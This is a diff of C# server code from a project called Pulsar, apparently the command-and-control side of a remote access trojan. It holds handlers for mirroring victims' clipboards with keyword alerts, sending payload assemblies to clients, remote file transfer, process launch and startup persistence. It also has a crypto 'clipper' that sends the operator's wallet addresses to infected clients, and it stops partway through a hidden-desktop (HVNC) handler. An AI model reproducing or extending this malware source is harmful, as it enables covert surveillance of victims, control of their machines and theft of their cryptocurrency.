Debug.WriteLine($"Server: Mirroring clipboard from client ({client.EndPoint}): {message.ClipboardText.Substring(0, Math.Min(20, message.ClipboardText.Length))}...");
|
||||
|
||||
ClipboardMonitor.NotifyReceivedFromClient(message.ClipboardText);
|
||||
|
||||
Thread clipboardThread = new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
Thread.CurrentThread.SetApartmentState(ApartmentState.STA);
|
||||
Clipboard.SetText(message.ClipboardText);
|
||||
Debug.WriteLine("Server: Successfully mirrored clipboard from client");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Server: Error setting clipboard: {ex.Message}");
|
||||
}
|
||||
});
|
||||
clipboardThread.SetApartmentState(ApartmentState.STA);
|
||||
clipboardThread.Start();
|
||||
clipboardThread.Join(1000);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Server: Error in clipboard thread creation: {ex.Message}");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Server: Clipboard sync disabled for this client; skipping host clipboard update.");
|
||||
}
|
||||
|
||||
Task.Run(() =>
|
||||
{
|
||||
string keywordsFilePath = Path.Combine(Directory.GetCurrentDirectory(), "keywords.json");
|
||||
|
||||
if (File.Exists(keywordsFilePath))
|
||||
{
|
||||
string jsonContent = File.ReadAllText(keywordsFilePath);
|
||||
var keywords = JsonConvert.DeserializeObject<string[]>(jsonContent);
|
||||
|
||||
if (keywords != null)
|
||||
{
|
||||
var matchedKeyword = keywords.FirstOrDefault(keyword => message.ClipboardText.IndexOf(keyword, StringComparison.OrdinalIgnoreCase) >= 0);
|
||||
|
||||
if (matchedKeyword != null)
|
||||
{
|
||||
FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
|
||||
if (frm != null)
|
||||
{
|
||||
frm.Invoke(new Action(() =>
|
||||
{
|
||||
FrmMain.AddNotiEvent(frm, client.Value.UserAtPc, "Keyword triggered (Clipboard): " + matchedKeyword, message.ClipboardText);
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Utilities;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles client requests for deferred assemblies and responds with the necessary payloads.
|
||||
/// </summary>
|
||||
public class DeferredAssemblyHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is RequestDeferredAssemblies;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (sender == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
var request = message as RequestDeferredAssemblies;
|
||||
if (request == null || request.Assemblies == null || request.Assemblies.Length == 0)
|
||||
{
|
||||
Debug.WriteLine("[DeferredAssemblyHandler] Received empty deferred assembly request.");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var descriptors = DeferredAssemblyProvider.GetAssemblies(request.Assemblies)
|
||||
.Where(descriptor => descriptor != null)
|
||||
.ToList();
|
||||
|
||||
if (descriptors.Count == 0)
|
||||
{
|
||||
Debug.WriteLine("[DeferredAssemblyHandler] No assemblies could be resolved for request.");
|
||||
return;
|
||||
}
|
||||
|
||||
var package = new DeferredAssembliesPackage
|
||||
{
|
||||
Assemblies = descriptors,
|
||||
IsComplete = true
|
||||
};
|
||||
|
||||
sender.Send(package);
|
||||
Debug.WriteLine($"[DeferredAssemblyHandler] Sent {descriptors.Count} deferred assemblies.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[DeferredAssemblyHandler] Failed to process deferred assembly request: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,674 @@
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.IO;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.FileManager;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Enums;
|
||||
using Pulsar.Server.Models;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with remote files and directories.
|
||||
/// </summary>
|
||||
public class FileManagerHandler : MessageProcessorBase<string>, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Represents the method that will handle drive changes.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="drives">All currently available drives.</param>
|
||||
public delegate void DrivesChangedEventHandler(object sender, Drive[] drives);
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle directory changes.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="remotePath">The remote path of the directory.</param>
|
||||
/// <param name="items">The directory content.</param>
|
||||
public delegate void DirectoryChangedEventHandler(object sender, string remotePath, FileSystemEntry[] items);
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle file transfer updates.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="transfer">The updated file transfer.</param>
|
||||
public delegate void FileTransferUpdatedEventHandler(object sender, FileTransfer transfer);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when drives changed.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event DrivesChangedEventHandler DrivesChanged;
|
||||
|
||||
/// <summary>
|
||||
/// Raised when a directory changed.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event DirectoryChangedEventHandler DirectoryChanged;
|
||||
|
||||
/// <summary>
|
||||
/// Raised when a file transfer updated.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event FileTransferUpdatedEventHandler FileTransferUpdated;
|
||||
|
||||
/// <summary>
|
||||
/// Reports changed remote drives.
|
||||
/// </summary>
|
||||
/// <param name="drives">The current remote drives.</param>
|
||||
private void OnDrivesChanged(Drive[] drives)
|
||||
{
|
||||
SynchronizationContext.Post(d =>
|
||||
{
|
||||
var handler = DrivesChanged;
|
||||
handler?.Invoke(this, (Drive[])d);
|
||||
}, drives);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports a directory change.
|
||||
/// </summary>
|
||||
/// <param name="remotePath">The remote path of the directory.</param>
|
||||
/// <param name="items">The directory content.</param>
|
||||
private void OnDirectoryChanged(string remotePath, FileSystemEntry[] items)
|
||||
{
|
||||
SynchronizationContext.Post(i =>
|
||||
{
|
||||
var handler = DirectoryChanged;
|
||||
handler?.Invoke(this, remotePath, (FileSystemEntry[])i);
|
||||
}, items);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports updated file transfers.
|
||||
/// </summary>
|
||||
/// <param name="transfer">The updated file transfer.</param>
|
||||
private void OnFileTransferUpdated(FileTransfer transfer)
|
||||
{
|
||||
SynchronizationContext.Post(t =>
|
||||
{
|
||||
var handler = FileTransferUpdated;
|
||||
handler?.Invoke(this, (FileTransfer)t);
|
||||
}, transfer.Clone());
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Keeps track of all active file transfers. Finished or canceled transfers get removed.
|
||||
/// </summary>
|
||||
private readonly List<FileTransfer> _activeFileTransfers = new List<FileTransfer>();
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _syncLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// The client which is associated with this file manager handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// Used to only allow two simultaneous file uploads.
|
||||
/// </summary>
|
||||
private readonly Semaphore _limitThreads = new Semaphore(2, 2);
|
||||
|
||||
/// <summary>
|
||||
/// Path to the base download directory of the client.
|
||||
/// </summary>
|
||||
private readonly string _baseDownloadPath;
|
||||
|
||||
private readonly TaskManagerHandler _taskManagerHandler;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="FileManagerHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
/// <param name="subDirectory">Optional sub directory name.</param>
|
||||
public FileManagerHandler(Client client, string subDirectory = "") : base(true)
|
||||
{
|
||||
_client = client;
|
||||
_baseDownloadPath = Path.Combine(client.Value.DownloadDirectory, subDirectory);
|
||||
_taskManagerHandler = new TaskManagerHandler(client);
|
||||
_taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed;
|
||||
MessageHandler.Register(_taskManagerHandler);
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is FileTransferChunk ||
|
||||
message is FileTransferCancel ||
|
||||
message is FileTransferComplete ||
|
||||
message is GetDrivesResponse ||
|
||||
message is GetDirectoryResponse ||
|
||||
message is SetStatusFileManager ||
|
||||
message is DoZipFolder;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case FileTransferChunk file:
|
||||
Execute(sender, file);
|
||||
break;
|
||||
case FileTransferCancel cancel:
|
||||
Execute(sender, cancel);
|
||||
break;
|
||||
case FileTransferComplete complete:
|
||||
Execute(sender, complete);
|
||||
break;
|
||||
case GetDrivesResponse drive:
|
||||
Execute(sender, drive);
|
||||
break;
|
||||
case GetDirectoryResponse directory:
|
||||
Execute(sender, directory);
|
||||
break;
|
||||
case SetStatusFileManager status:
|
||||
Execute(sender, status);
|
||||
break;
|
||||
case DoZipFolder zipFolder:
|
||||
Execute(sender, zipFolder);
|
||||
break;
|
||||
}
|
||||
}
|
||||
private void Execute(ISender client, DoZipFolder message)
|
||||
{
|
||||
client.Send(message);
|
||||
}
|
||||
|
||||
public void ZipFolder(string sourcePath, string destinationPath, int compressionLevel)
|
||||
{
|
||||
var zipMessage = new DoZipFolder
|
||||
{
|
||||
SourcePath = sourcePath,
|
||||
DestinationPath = destinationPath,
|
||||
CompressionLevel = compressionLevel
|
||||
};
|
||||
_client.Send(zipMessage);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sanitizes a filename to prevent path traversal attacks.
|
||||
/// </summary>
|
||||
/// <param name="fileName">The filename to sanitize.</param>
|
||||
/// <returns>A safe filename or null if the filename is invalid.</returns>
|
||||
private string SanitizeFileName(string fileName)
|
||||
{
|
||||
if (string.IsNullOrEmpty(fileName))
|
||||
return null;
|
||||
|
||||
fileName = Path.GetFileName(fileName);
|
||||
|
||||
if (string.IsNullOrEmpty(fileName) || fileName.Contains(".."))
|
||||
return null;
|
||||
|
||||
char[] invalidChars = Path.GetInvalidFileNameChars();
|
||||
if (fileName.IndexOfAny(invalidChars) >= 0)
|
||||
return null;
|
||||
|
||||
if (fileName.StartsWith(".") || fileName.Equals("desktop.ini", StringComparison.OrdinalIgnoreCase))
|
||||
return null;
|
||||
|
||||
return fileName;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins downloading a file from the client.
|
||||
/// </summary>
|
||||
/// <param name="remotePath">The remote path of the file to download.</param>
|
||||
/// <param name="localFileName">The local file name.</param>
|
||||
/// <param name="overwrite">Overwrite the local file with the newly downloaded.</param>
|
||||
public void BeginDownloadFile(string remotePath, string localFileName = "", bool overwrite = false)
|
||||
{
|
||||
if (string.IsNullOrEmpty(remotePath))
|
||||
return;
|
||||
|
||||
int id = GetUniqueFileTransferId();
|
||||
|
||||
if (!Directory.Exists(_baseDownloadPath))
|
||||
Directory.CreateDirectory(_baseDownloadPath);
|
||||
|
||||
string fileName = string.IsNullOrEmpty(localFileName) ? Path.GetFileName(remotePath) : localFileName;
|
||||
|
||||
// SECURITY FIX: Validate and sanitize filename to prevent path traversal
|
||||
fileName = SanitizeFileName(fileName);
|
||||
if (fileName == null)
|
||||
{
|
||||
OnReport("Download failed: Invalid filename");
|
||||
return;
|
||||
}
|
||||
|
||||
string localPath = Path.Combine(_baseDownloadPath, fileName);
|
||||
|
||||
// SECURITY FIX: Ensure the resolved path stays within the download directory
|
||||
try
|
||||
{
|
||||
string fullPath = Path.GetFullPath(localPath);
|
||||
string baseDir = Path.GetFullPath(_baseDownloadPath);
|
||||
|
||||
if (!fullPath.StartsWith(baseDir, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
OnReport("Download failed: Path traversal attempt detected");
|
||||
return;
|
||||
}
|
||||
|
||||
localPath = fullPath;
|
||||
}
|
||||
catch
|
||||
{
|
||||
OnReport("Download failed: Invalid path");
|
||||
return;
|
||||
}
|
||||
|
||||
int i = 1;
|
||||
while (!overwrite && File.Exists(localPath))
|
||||
{
|
||||
// rename file if it exists already
|
||||
var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(localPath), i, Path.GetExtension(localPath));
|
||||
localPath = Path.Combine(_baseDownloadPath, newFileName);
|
||||
|
||||
// Re-validate the new path
|
||||
try
|
||||
{
|
||||
string fullPath = Path.GetFullPath(localPath);
|
||||
string baseDir = Path.GetFullPath(_baseDownloadPath);
|
||||
|
||||
if (!fullPath.StartsWith(baseDir, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
OnReport("Download failed: Path validation error");
|
||||
return;
|
||||
}
|
||||
|
||||
localPath = fullPath;
|
||||
}
|
||||
catch
|
||||
{
|
||||
OnReport("Download failed: Path validation error");
|
||||
return;
|
||||
}
|
||||
|
||||
i++;
|
||||
}
|
||||
|
||||
var transfer = new FileTransfer
|
||||
{
|
||||
Id = id,
|
||||
Type = TransferType.Download,
|
||||
LocalPath = localPath,
|
||||
RemotePath = remotePath,
|
||||
Status = "Pending...",
|
||||
//Size = fileSize, TODO: Add file size here
|
||||
TransferredSize = 0
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
transfer.FileSplit = new FileSplit(transfer.LocalPath, FileAccess.Write);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
transfer.Status = "Error writing file";
|
||||
OnFileTransferUpdated(transfer);
|
||||
return;
|
||||
}
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
_activeFileTransfers.Add(transfer);
|
||||
}
|
||||
|
||||
OnFileTransferUpdated(transfer);
|
||||
|
||||
_client.Send(new FileTransferRequest { RemotePath = remotePath, Id = id });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins uploading a file to the client.
|
||||
/// </summary>
|
||||
/// <param name="localPath">The local path of the file to upload.</param>
|
||||
/// <param name="remotePath">Save the uploaded file to this remote path. If empty, generate a temporary file name.</param>
|
||||
public void BeginUploadFile(string localPath, string remotePath = "")
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
int id = GetUniqueFileTransferId();
|
||||
|
||||
FileTransfer transfer = new FileTransfer
|
||||
{
|
||||
Id = id,
|
||||
Type = TransferType.Upload,
|
||||
LocalPath = localPath,
|
||||
RemotePath = remotePath,
|
||||
Status = "Pending...",
|
||||
TransferredSize = 0
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
transfer.FileSplit = new FileSplit(localPath, FileAccess.Read);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
transfer.Status = "Error reading file";
|
||||
OnFileTransferUpdated(transfer);
|
||||
return;
|
||||
}
|
||||
|
||||
transfer.Size = transfer.FileSplit.FileSize;
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
_activeFileTransfers.Add(transfer);
|
||||
}
|
||||
|
||||
transfer.Size = transfer.FileSplit.FileSize;
|
||||
OnFileTransferUpdated(transfer);
|
||||
|
||||
_limitThreads.WaitOne();
|
||||
try
|
||||
{
|
||||
foreach (var chunk in transfer.FileSplit)
|
||||
{
|
||||
transfer.TransferredSize += chunk.Data.Length;
|
||||
decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal)((double)transfer.TransferredSize / (double)transfer.Size * 100.0), 2);
|
||||
transfer.Status = $"Uploading...({progress}%)";
|
||||
OnFileTransferUpdated(transfer);
|
||||
|
||||
bool transferCanceled;
|
||||
lock (_syncLock)
|
||||
{
|
||||
transferCanceled = _activeFileTransfers.Count(f => f.Id == transfer.Id) == 0;
|
||||
}
|
||||
|
||||
if (transferCanceled)
|
||||
{
|
||||
transfer.Status = "Canceled";
|
||||
OnFileTransferUpdated(transfer);
|
||||
_limitThreads.Release();
|
||||
return;
|
||||
}
|
||||
|
||||
// TODO: blocking sending might not be required, needs further testing
|
||||
_client.SendBlocking(new FileTransferChunk
|
||||
{
|
||||
Id = id,
|
||||
Chunk = chunk,
|
||||
FilePath = remotePath,
|
||||
FileSize = transfer.Size,
|
||||
FileExtension = Path.GetExtension(localPath)
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
// if transfer is already cancelled, just return
|
||||
if (_activeFileTransfers.Count(f => f.Id == transfer.Id) == 0)
|
||||
{
|
||||
_limitThreads.Release();
|
||||
return;
|
||||
}
|
||||
}
|
||||
transfer.Status = "Error reading file";
|
||||
OnFileTransferUpdated(transfer);
|
||||
CancelFileTransfer(transfer.Id);
|
||||
_limitThreads.Release();
|
||||
return;
|
||||
}
|
||||
|
||||
_limitThreads.Release();
|
||||
}).Start();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Cancels a file transfer.
|
||||
/// </summary>
|
||||
/// <param name="transferId">The id of the file transfer to cancel.</param>
|
||||
public void CancelFileTransfer(int transferId)
|
||||
{
|
||||
_client.Send(new FileTransferCancel { Id = transferId });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Renames a remote file or directory.
|
||||
/// </summary>
|
||||
/// <param name="remotePath">The remote file or directory path to rename.</param>
|
||||
/// <param name="newPath">The new name of the remote file or directory path.</param>
|
||||
/// <param name="type">The type of the file (file or directory).</param>
|
||||
public void RenameFile(string remotePath, string newPath, FileType type)
|
||||
{
|
||||
_client.Send(new DoPathRename
|
||||
{
|
||||
Path = remotePath,
|
||||
NewPath = newPath,
|
||||
PathType = type
|
||||
});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes a remote file or directory.
|
||||
/// </summary>
|
||||
/// <param name="remotePath">The remote file or directory path.</param>
|
||||
/// <param name="type">The type of the file (file or directory).</param>
|
||||
public void DeleteFile(string remotePath, FileType type)
|
||||
{
|
||||
_client.Send(new DoPathDelete { Path = remotePath, PathType = type });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts a new process remotely.
|
||||
/// </summary>
|
||||
/// <param name="remotePath">The remote path used for starting the new process.</param>
|
||||
public void StartProcess(string remotePath)
|
||||
{
|
||||
_taskManagerHandler.StartProcess(remotePath);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds an item to the startup of the client.
|
||||
/// </summary>
|
||||
/// <param name="item">The startup item to add.</param>
|
||||
public void AddToStartup(StartupItem item)
|
||||
{
|
||||
_client.Send(new DoStartupItemAdd { StartupItem = item });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the directory contents for the remote path.
|
||||
/// </summary>
|
||||
/// <param name="remotePath">The remote path of the directory.</param>
|
||||
public void GetDirectoryContents(string remotePath)
|
||||
{
|
||||
_client.Send(new GetDirectory { RemotePath = remotePath });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Refreshes the remote drives.
|
||||
/// </summary>
|
||||
public void RefreshDrives()
|
||||
{
|
||||
_client.Send(new GetDrives());
|
||||
}
|
||||
|
||||
private void Execute(ISender client, FileTransferChunk message)
|
||||
{
|
||||
FileTransfer transfer;
|
||||
lock (_syncLock)
|
||||
{
|
||||
transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id);
|
||||
}
|
||||
|
||||
if (transfer == null)
|
||||
return;
|
||||
|
||||
transfer.Size = message.FileSize;
|
||||
transfer.TransferredSize += message.Chunk.Data.Length;
|
||||
|
||||
try
|
||||
{
|
||||
transfer.FileSplit.WriteChunk(message.Chunk);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
transfer.Status = "Error writing file";
|
||||
OnFileTransferUpdated(transfer);
|
||||
CancelFileTransfer(transfer.Id);
|
||||
return;
|
||||
}
|
||||
|
||||
decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal)((double)transfer.TransferredSize / (double)transfer.Size * 100.0), 2);
|
||||
transfer.Status = $"Downloading...({progress}%)";
|
||||
|
||||
OnFileTransferUpdated(transfer);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, FileTransferCancel message)
|
||||
{
|
||||
FileTransfer transfer;
|
||||
lock (_syncLock)
|
||||
{
|
||||
transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id);
|
||||
}
|
||||
|
||||
if (transfer != null)
|
||||
{
|
||||
transfer.Status = message.Reason;
|
||||
OnFileTransferUpdated(transfer);
|
||||
RemoveFileTransfer(transfer.Id);
|
||||
// don't keep un-finished files
|
||||
if (transfer.Type == TransferType.Download)
|
||||
File.Delete(transfer.LocalPath);
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, FileTransferComplete message)
|
||||
{
|
||||
FileTransfer transfer;
|
||||
lock (_syncLock)
|
||||
{
|
||||
transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id);
|
||||
}
|
||||
|
||||
if (transfer != null)
|
||||
{
|
||||
transfer.RemotePath = message.FilePath; // required for temporary file names generated on the client
|
||||
transfer.Status = "Completed";
|
||||
RemoveFileTransfer(transfer.Id);
|
||||
OnFileTransferUpdated(transfer);
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetDrivesResponse message)
|
||||
{
|
||||
if (message.Drives?.Length == 0)
|
||||
return;
|
||||
|
||||
OnDrivesChanged(message.Drives);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetDirectoryResponse message)
|
||||
{
|
||||
if (message.Items == null)
|
||||
{
|
||||
message.Items = new FileSystemEntry[0];
|
||||
}
|
||||
OnDirectoryChanged(message.RemotePath, message.Items);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, SetStatusFileManager message)
|
||||
{
|
||||
OnReport(message.Message);
|
||||
}
|
||||
|
||||
private void ProcessActionPerformed(object sender, ProcessAction action, bool result)
|
||||
{
|
||||
if (action != ProcessAction.Start) return;
|
||||
OnReport(result ? "Process started successfully" : "Process failed to start");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Removes a file transfer given the transfer id.
|
||||
/// </summary>
|
||||
/// <param name="transferId">The file transfer id.</param>
|
||||
private void RemoveFileTransfer(int transferId)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
var transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == transferId);
|
||||
transfer?.FileSplit?.Dispose();
|
||||
_activeFileTransfers.RemoveAll(s => s.Id == transferId);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Generates a unique file transfer id.
|
||||
/// </summary>
|
||||
/// <returns>A unique file transfer id.</returns>
|
||||
private int GetUniqueFileTransferId()
|
||||
{
|
||||
int id;
|
||||
lock (_syncLock)
|
||||
{
|
||||
do
|
||||
{
|
||||
id = FileTransfer.GetRandomTransferId();
|
||||
// generate new id until we have a unique one
|
||||
} while (_activeFileTransfers.Any(f => f.Id == id));
|
||||
}
|
||||
|
||||
return id;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
foreach (var transfer in _activeFileTransfers)
|
||||
{
|
||||
_client.Send(new FileTransferCancel { Id = transfer.Id });
|
||||
transfer.FileSplit?.Dispose();
|
||||
if (transfer.Type == TransferType.Download)
|
||||
File.Delete(transfer.LocalPath);
|
||||
}
|
||||
|
||||
_activeFileTransfers.Clear();
|
||||
}
|
||||
|
||||
MessageHandler.Unregister(_taskManagerHandler);
|
||||
_taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Monitoring.Clipboard;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Forms;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
// I literally copied all of this from another handler and shoved it in here
|
||||
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote client status.
|
||||
/// </summary>
|
||||
public class GetCryptoAddressHandler : MessageProcessorBase<object>
|
||||
{
|
||||
public delegate void AddressReceivedEventHandler(object sender, Client client, string addressType);
|
||||
|
||||
public event AddressReceivedEventHandler AddressReceived;
|
||||
|
||||
public GetCryptoAddressHandler() : base(true)
|
||||
{
|
||||
}
|
||||
|
||||
public override bool CanExecute(IMessage message) => message is DoGetAddress;
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoGetAddress addressMessage)
|
||||
{
|
||||
Execute((Client)sender, addressMessage);
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(Client client, DoGetAddress message)
|
||||
{
|
||||
AddressReceived?.Invoke(this, client, message.Type);
|
||||
|
||||
FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
|
||||
if (frm != null && frm.ClipperCheckbox.Checked)
|
||||
{
|
||||
var addressGetters = new Dictionary<string, Func<string>>
|
||||
{
|
||||
{ "BTC", frm.GetBTCAddress },
|
||||
{ "LTC", frm.GetLTCAddress },
|
||||
{ "ETH", frm.GetETHAddress },
|
||||
{ "XMR", frm.GetXMRAddress },
|
||||
{ "SOL", frm.GetSOLAddress },
|
||||
{ "DASH", frm.GetDASHAddress },
|
||||
{ "XRP", frm.GetXRPAddress },
|
||||
{ "TRX", frm.GetTRXAddress },
|
||||
{ "BCH", frm.GetBCHAddress }
|
||||
};
|
||||
|
||||
if (!string.IsNullOrEmpty(message.Type) && addressGetters.TryGetValue(message.Type, out var getAddress))
|
||||
{
|
||||
string address = getAddress();
|
||||
client.Send(new DoSendAddress
|
||||
{
|
||||
Address = address
|
||||
});
|
||||
}
|
||||
|
||||
FrmMain.AddNotiEvent(frm, client.Value.UserAtPc, "Requested crypto address", message.Type);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,552 @@
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Monitoring.RemoteDesktop;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Video.Codecs;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Collections.Concurrent;
|
||||
using Pulsar.Common.Messages.Monitoring.HVNC;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote desktop.
|
||||
/// </summary>
|
||||
public class HVNCHandler : MessageProcessorBase<Bitmap>, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// States if the client is currently streaming desktop frames.
|
||||
/// </summary>
|
||||
public bool IsStarted { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets whether the remote desktop is using buffered mode.
|
||||
/// </summary>
|
||||
public bool IsBufferedMode { get; set; } = true;
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _syncLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="LocalResolution"/> between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _sizeLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// The local resolution, see <seealso cref="LocalResolution"/>.
|
||||
/// </summary>
|
||||
private Size _localResolution;
|
||||
|
||||
/// <summary>
|
||||
/// The local resolution in width x height. It indicates to which resolution the received frame should be resized.
|
||||
/// </summary>
|
||||
/// <remarks>
